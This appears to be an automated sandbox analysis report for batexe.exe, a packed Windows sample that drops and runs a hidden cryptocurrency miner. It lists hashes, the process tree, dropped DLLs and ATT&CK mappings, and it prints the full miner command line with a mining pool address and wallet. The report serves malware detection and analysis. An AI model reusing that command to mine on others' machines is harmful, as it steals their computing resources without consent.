73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
295s
max time network
304s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
13/02/2024, 18:27

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
1348	b2e.exe
4816	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4816	cpuminer-sse2.exe
4816	cpuminer-sse2.exe
4816	cpuminer-sse2.exe
4816	cpuminer-sse2.exe
4816	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4280-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4280 wrote to memory of 1348	4280	batexe.exe	73
PID 4280 wrote to memory of 1348	4280	batexe.exe	73
PID 4280 wrote to memory of 1348	4280	batexe.exe	73
PID 1348 wrote to memory of 4452	1348	b2e.exe	74
PID 1348 wrote to memory of 4452	1348	b2e.exe	74
PID 1348 wrote to memory of 4452	1348	b2e.exe	74
PID 4452 wrote to memory of 4816	4452	cmd.exe	77
PID 4452 wrote to memory of 4816	4452	cmd.exe	77

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4280
- C:\Users\Admin\AppData\Local\Temp\AB05.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\AB05.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\AB05.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1348
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\AFB8.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4452
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4816

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\AB05.tmp\b2e.exe

Filesize
1.4MB

MD5
c5e09858066f182b7f5bdcb61d9b36fc

SHA1
7a1de79ffcfa17a7a86a01f8d5046eaf970b8905

SHA256
b5ede4ee58898940fa268a8aa17da9fc31eae634a8c95afcb2412ae199e8f4b6

SHA512
70e4e7cf5ec9df418480b0773c325e489749cbf6b5af491b24f6a6b2298cb043f681689531e70666787d42723d096d57012f1bccf317367908ce68a1420a6dfd

Download Submit
C:\Users\Admin\AppData\Local\Temp\AB05.tmp\b2e.exe

Filesize
2.1MB

MD5
c65046109eeacc05c12e1d2d47bbcdce

SHA1
f684b885a159684fdc5f276d2e97f1f62e656147

SHA256
3de769cb77e6c4e7be2f7c2683b6e3a7f58f7cd8261f25cd14c868163a5f82fc

SHA512
a0bd72ec5132d11f00120b161c4df1aa93f734dcf9d9b9bb1eda51f96a74a69276aaec7e8cf1fcb762362e887569ad4cb2dbd40aaf541141dfb1ffb7eb51d2dd

Download Submit
C:\Users\Admin\AppData\Local\Temp\AFB8.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
64KB

MD5
42871db599b90c630b2d75268c8b0116

SHA1
fb3a97b9517d4abe248a7c1a0fe0f528f40b29bc

SHA256
80110dd27dac90724987601037bc7d4bccdce1afd95aeffbfd8cacd813b891cb

SHA512
c32a1b46ab54abcaf179759b2aaa5aeec58a353ebe552b09ce1980ab54a9c702ae1e348c2a9c2020f74fa7c7bfb4d4bac78396f76b6bac04227436deca800438

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
12.5MB

MD5
8061cb65242e360d12d05674cac13aa6

SHA1
964195f084d5ba0306c67e3450d0da0a9f1cbe95

SHA256
36cc9cc2e8f8b78a44f2e808c389a507f1a02636516129d6977c4947d16cfe38

SHA512
ffece3ab2b6646eec302043a89aa9c34fe4f697679ae192c516aa17153ef12e9907b626507b980bff8954c8b17a743164ed79e1fafcc1f3560b21a75d4f22439

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
11.5MB

MD5
cfe3ccbc73107844d0c8aa0b5a5b8a4a

SHA1
0cdbac8a5bfeb4dbd329d2aeb5ac887566a8d998

SHA256
896cfa4a4e05f59b3251207c693769d191b86c9b5a8393c932d43484d5314c0d

SHA512
90e4c67b54ad510907951cd1559f8d5fbc42e71cda38891880ec7e13c4dc0991ff4c66c6e4128bc35e8b1c0c13df0dcef38bf1bb5434e58ffd40c480684e6910

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
9.6MB

MD5
b28e7a557d30bde14312ac8c6f6bb8a2

SHA1
1d50e952655a768d5eb0801b731bf7587777367b

SHA256
422bde8f352002863c8c7fd30e5be9d7d2d5d1a39168d47a7abebaf6f89b12d9

SHA512
77e66a968179f2e421b234674bec9fa299a62c689638b9d1d80c16d75bb5b45999dc0ac3c872d071e77c0ca2fff0a3622df06cba5f26b1310f2c04e10edc7d65

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1348-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1348-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4280-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4816-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4816-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4816-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4816-44-0x0000000001070000-0x0000000002925000-memory.dmp

Filesize
24.7MB

Download
memory/4816-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4816-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4816-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4816-42-0x0000000063360000-0x00000000633F8000-memory.dmp

Filesize
608KB

Download
memory/4816-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4816-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4816-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4816-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4816-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4816-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4816-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download